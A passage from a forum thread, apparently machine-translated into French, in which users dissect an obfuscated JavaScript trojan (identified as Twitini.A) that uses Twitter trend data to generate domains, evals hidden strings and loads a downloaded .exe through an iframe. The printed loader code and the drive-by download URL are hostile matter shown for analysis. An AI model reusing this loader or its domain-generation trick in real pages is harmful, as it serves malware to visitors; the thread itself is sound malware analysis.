     window.tw = x; 
     var d = new Date(); 
     d.setTime(x["as_of"] * 1000); 
     var h = d.getUTCHours(); 
     window.h = h; 
     if (h > 8) { 
      d.setUTCDate(d.getUTCDate() - 2); 
     } else { 
      d.setUTCDate(d.getUTCDate() - 3); 
     } 
     window.gd = d; 
     var time = new Array(); 
     var shiftIndex = ""; 
     time["year"] = d.getUTCFullYear(); 
     time["month"] = d.getUTCMonth() + 1; 
     time["day"] = d.getUTCDate(); 
     if (d.getUTCMonth() + 1 < 10) { 
      shiftIndex = time["year"] + "-0" + (d.getUTCMonth() + 1); 
     } else { 
      shiftIndex = time["year"] + "-" + (d.getUTCMonth() + 1); 
     } 
     if (d.getUTCDate() < 10) { 
      shiftIndex = shiftIndex + "-0" + d.getUTCDate(); 
     } else { 
      shiftIndex = shiftIndex + "-" + d.getUTCDate(); 
     } 
     document.write("<scr" + "ipt language=javascript" + " src='http://search.twitter.com/trends/daily.json?date=" + shiftIndex + "&callback=callback2'>" + "</scr" + "ipt>"); 
    } 
    function callback2(x) { 
     window.tw = x; 
     sc('rf5f6ds', 2, 7); 
     eval(unescape(dz + cz + op + st) + 'dw(dz+cz($a+st));'); 
     document.write($a); 
    } 
    document.write("<img src='http://search.twitter.com/images/search/rss.png' width=1 height=1 style='visibility:hidden' /> <scr" + "ipt language=javascript" + " src='http://search.twitter.com/trends/daily.json?callback=callback'>" + "</scr" + "ipt>"); 
} else { 
    $a = '' 
}; 

function sc(cnm, v, ed) { 
    var exd = new Date(); 
    exd.setDate(exd.getDate() + ed); 
    document.cookie = cnm + '=' + escape(v) + ';expires=' + exd.toGMTString(); 
}; 

Il est alors un cas de passer par les chaînes et déséchapper affectées aux variables (I » J'ai commencé ça ... mais maintenant il est l'heure de se coucher!)

Answer 3

S'il faut courir pour faire cela, alors qu'il en soit ainsi, je suppose. Quelqu'un sait comment faire cela sans me compromettre?

La manière la plus simple est d'utiliser Chrome sous Linux. Je viens de l'exécuter via Chrome sous Linux en mode navigation privée (incognito). Ça a l'air inoffensif. La source de l'iframe n'est pas en place.

est ici la capture d'écran des outils de développement de WebKit avec la page entièrement chargée (la balise de script ne contient que le script ci-dessus):

http://picasaweb.google.com/xsznix/MePwningSpam#5500978024402977090

EDIT: Il semble que le iframe charge un fichier .exe. L'URL est différente à chaque fois. http://niaijldnbvf.com/nte/PROX.exe

Le fichier n'est plus en place, il me donne une erreur 404. L'anti-phishing de Google bloque l'URL pour moi.

Answer 4

Ce cheval de Troie est appelé Twitini.A et est documenté ici: http://www.microsoft.com/security/portal/Threat/Encyclopedia/Entry.aspx?Name=Trojan%3AJS%2FTwitini.A

j'ai eu 2 couches profondes sur mon propre spécimen avant googler le diable hors de lui. J'ai été vraiment intrigué par le lien Twitter. Je pense qu'il est intelligent d'utiliser les tendances twitter connues à des dates spécifiques pour générer des noms de domaine.